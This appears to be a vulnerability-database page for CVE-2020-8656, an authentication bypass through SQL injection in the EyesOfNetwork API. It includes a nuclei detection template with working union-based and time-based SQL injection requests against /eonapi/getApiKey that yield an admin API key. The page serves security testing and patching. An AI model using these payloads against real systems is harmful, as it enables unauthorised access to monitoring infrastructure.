HexBrain

Browse / CVEs / CVE-2020-8656

CVE-2020-8656· eyesofnetwork / eyesofnetwork· CWE-798

EyesOfNetwork - Hardcoded API Key & SQL Injection

criticalseverity
9.8CVSS score
84.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/api_functions.php.

Impact

Unauthenticated attackers can bypass authentication via SQL injection and gain access to the EyesOfNetwork monitoring system and all monitored infrastructure data.

Fix

Apply security patches or update to the latest version of EyesOfNetwork.

How to confirm it

Send: GET /eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet ; @timeout: 20s
Positive when: status_code_1 == 200 and contains(body_1, "EONAPI_KEY") OR duration_2>=6 and status_code_2 == 401 and contains_all(body_2, "api_version", "username-password credentials")

Run it with nuclei: nuclei -id CVE-2020-8656 -u <target>

The full check
id: CVE-2020-8656

info:
  name: EyesOfNetwork - Hardcoded API Key & SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/api_functions.php.
  impact: |
    Unauthenticated attackers can bypass authentication via SQL injection and gain access to the EyesOfNetwork monitoring system and all monitored infrastructure data.
  remediation: |
    Apply security patches or update to the latest version of EyesOfNetwork.
  reference:
    - https://www.exploit-db.com/exploits/48025
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8656
    - https://github.com/EyesOfNetworkCommunity/eonapi/issues/17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8656
    epss-score: 0.846
    epss-percentile: 0.99707
    cwe-id: CWE-798
    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:5.3-0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: eyesofnetwork
    product: eyesofnetwork
    fofa-query: title="EyesOfNetwork"
  tags: cve,cve2020,eyesofnetwork,hardcoded-key,sqli,vuln,vkev

http:
  - raw:
      - |
        GET /eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /eonapi/getApiKey?username=%27%20union%20select%20sleep(6),0,0,0,0,0,0,0%20or%20%27 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "EONAPI_KEY")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 401'
          - 'contains_all(body_2, "api_version", "username-password credentials")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from